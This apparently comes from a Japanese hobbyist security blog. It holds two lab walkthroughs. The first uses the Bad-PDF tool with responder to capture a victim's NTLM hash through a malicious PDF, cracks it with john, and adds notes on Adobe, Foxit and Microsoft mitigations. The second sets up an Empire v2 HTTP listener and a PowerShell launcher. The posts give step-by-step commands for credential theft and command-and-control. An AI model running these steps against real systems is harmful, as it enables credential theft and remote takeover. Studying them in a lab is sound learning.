Githubより「Bad-PDF」をダウンロードする。

github.com

次にbadpdf.pyに実行権を付与する。面倒だからchmod 777で処置w

 chmod 777 badpdf.py

f:id:appleseedj073:20180516002853p:plain

3・実行

実行権を付与したbadpdf.pyを実行する。

 ./badpdf.py

f:id:appleseedj073:20180516003147p:plain

必要な項目を入力していく

 Please enter responder path (Default /usr/bin/responder): 
 /usr/sbin/responder ←responderのパスを指定
 Please enter Bad-PDF host IP: 
 192.168.55.128 ←自分のIPアドレス
 Please enter output file name: 
 sample.pdf ←作成するPDFファイルの名前
 Please enter the interface name to listen(Default eth0): 
 eth0 ←待ち受けるインターフェース

f:id:appleseedj073:20180516003828p:plain

必要項目への入力が終わるとresponderが起動し待ち受け状態になる

f:id:appleseedj073:20180516004103p:plain

ちなみに先ほど項目を指定して作成したPDFファイルは、badpdf.pyを起動した場所と同じところに生成されている。

f:id:appleseedj073:20180516004259p:plain

このPDFファイルを「やられPC」側に配置し実行すると・・・

f:id:appleseedj073:20180516004641p:plain

見事にやられPCのNTLMハッシュが流れてきた!

次に、このハッシュ部分をテキストファイル(今回はファイル名:hash)として保存する。

f:id:appleseedj073:20180516005137p:plain

作成したハッシュファイルをjohnで解析する。

 john hash

f:id:appleseedj073:20180516005552p:plain

ユーザ名:Victim

パスワード:pass1234

簡単なパスワード使っていたせいもあるけどわずか1分程度でNTLMハッシュが解析する事ができた。

4・まとめ

このBad-PDFを使ってユーザ情報を盗み出すには、そもそも対象と同じネットワークに接続していないと難しそう。しかし、長期的な攻撃キャンペーンなどでは、もしかすると悪用されてしまう可能性もあるのかな?と考える。

5・おまけ

みんなが大好きvirustotalの結果を貼っておくと、このブログを書いた今日(2018年5月16日)現在、検出率は0/57で悪意のあるものとは判断されていません。

f:id:appleseedj073:20180516010907p:plain

追加

2018/05/17 0:10追加

対策について触れていないというご指導を賜りましたので、教えていただいた情報を元にできる範囲内で検証してみました。(どうしても攻撃手法にばかり目がいって対策とかの守る側のスタンスを疎かにしてしまってます^^;)

 まず、脆弱性への対応はFoxitは9.1で対応。しかし、adobeは以下の理由から対応しない様です。以下、引用

Adobe responded as shown below, without assigning any CVE or fix for the vulnerability:

Thank you for checking in on this case.  Microsoft issued an optional security enhancement [0] late last year that provides customers with the ability to disable NTLM SSO authentication as a method for public resources.  With this mitigation available to customers, we are not planning to make changes in Acrobat.“

全文についてはこちら

research.checkpoint.com

要するに、マイクロソフト側で「Windows NTLM SSO 認証の変更」という形でNTLM SSO認証を無効にすることができるので、Acrobatでは処置しませんということらしい。

では、そのマイクロソフトの対応とは何なのかというと

https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170014

Windows NTLM SSO認証のセキュリティ強化をリリースし、この新しいセキュリティ強化を展開した場合、攻撃者は組織外の悪意のあるリソースにユーザーをリダイレクトして、NTLM 認証メッセージを取得することができなくなる。また、この設定にはレジストリの設定を変更する必要がある。

また、このアドバイザリでは以下の様にもいっている。

NTLM を使用するすべてのバージョンの Windows は、この種類の攻撃を受ける可能性があります。古いバージョンの Windows ファイアウォールには制限があるため、マイクロソフトWindows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています。マイクロソフトは、最新の最も安全な製品にアップグレードすることをお勧めします。 

要するに最新のOSを最新の状態にアップグレードすることを推奨している様子。 

今後、マイクロソフトの対応がどの様にBad-PDFに対して有効なのかを検証し追記していく。

とある親父の侵入実験【Empire の使い方が変わってました】

f:id:appleseedj073:20180311215026p:plain

昨年あたりから何度かご指摘を受けていた件として、Empireの使い方がバージョン2以降変わっていたので、前回のブログ記事からの変更点を簡単にまとめてみる。

 

ra66itblog.hateblo.jp

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・Empire起動

 ./empire

Empireを起動して、従来の手順通りにリスナーモードへ移行する。

 listeners

f:id:appleseedj073:20180515155910p:plain

2・リスナーモード

リスナーモードになったので、以前と同じ様に「info」「execute」と入力してみるも望んだ結果は表示されない。ここが、バージョン2になっての大きな変更点。

f:id:appleseedj073:20180515160311p:plain

現状で、どんなコマンドが利用できるのかはtabを二回押すと補完機能で、利用可能なコマンドの候補が表示される。

f:id:appleseedj073:20180515161009p:plain

この中にある「uselistener」コマンドで、リスナーを作る事ができる。

f:id:appleseedj073:20180515161733p:plain

作成できるリスナーの種類についてもuselistener入力後にtabで補完すると候補が表示される。バージョン1系では、デフォルトでhttpになっていた。

 uselistener http

f:id:appleseedj073:20180515162957p:plain

ここで再度、tabの補完機能を使うと「execute」コマンドがあるのが確認できるのでexecuteを実行する。

 execute

f:id:appleseedj073:20180515163611p:plain

 すると、画面上にリスナーの起動が成功した旨のメッセージが表示される。この状態でlistenersと入力する事で現在起動しているリスナーを確認できる。

3・launcherの実行

リスナーが動き始めたら次は、リスナーへ接続するためのlauncherを作成する。以前と同様にlauncherと入力するとコマンドの後の引数についてメッセージが表示される。

f:id:appleseedj073:20180515164527p:plain

バージョン1では、launcher listenerNameで作成できていたが、バージョン2からは、launcherを作成する事ができる言語がPowerShellだけでなく、Pythonも加わったので言語のしても必要になった。

f:id:appleseedj073:20180515165043p:plain

バージョン2からの様式に合わせてlauncher 使用言語 リスナー名で入力する。今回は、今まで通りのpowershellを使用する。

 launcher powershell http

f:id:appleseedj073:20180515165525p:plain

これもコピーしてWindows側で実行すれば、バージョン1の時と同じ様にリスナーに接続される。接続してからの操作に関しては大きな変更はない。

よって今回は、Windows側からの接続に関しては省略します。

4・まとめ

前回から操作が大きく変更されたが、それも全て機能が拡張されたことによるもの。より一層、Empireが便利なツールになったと思えば問題なしw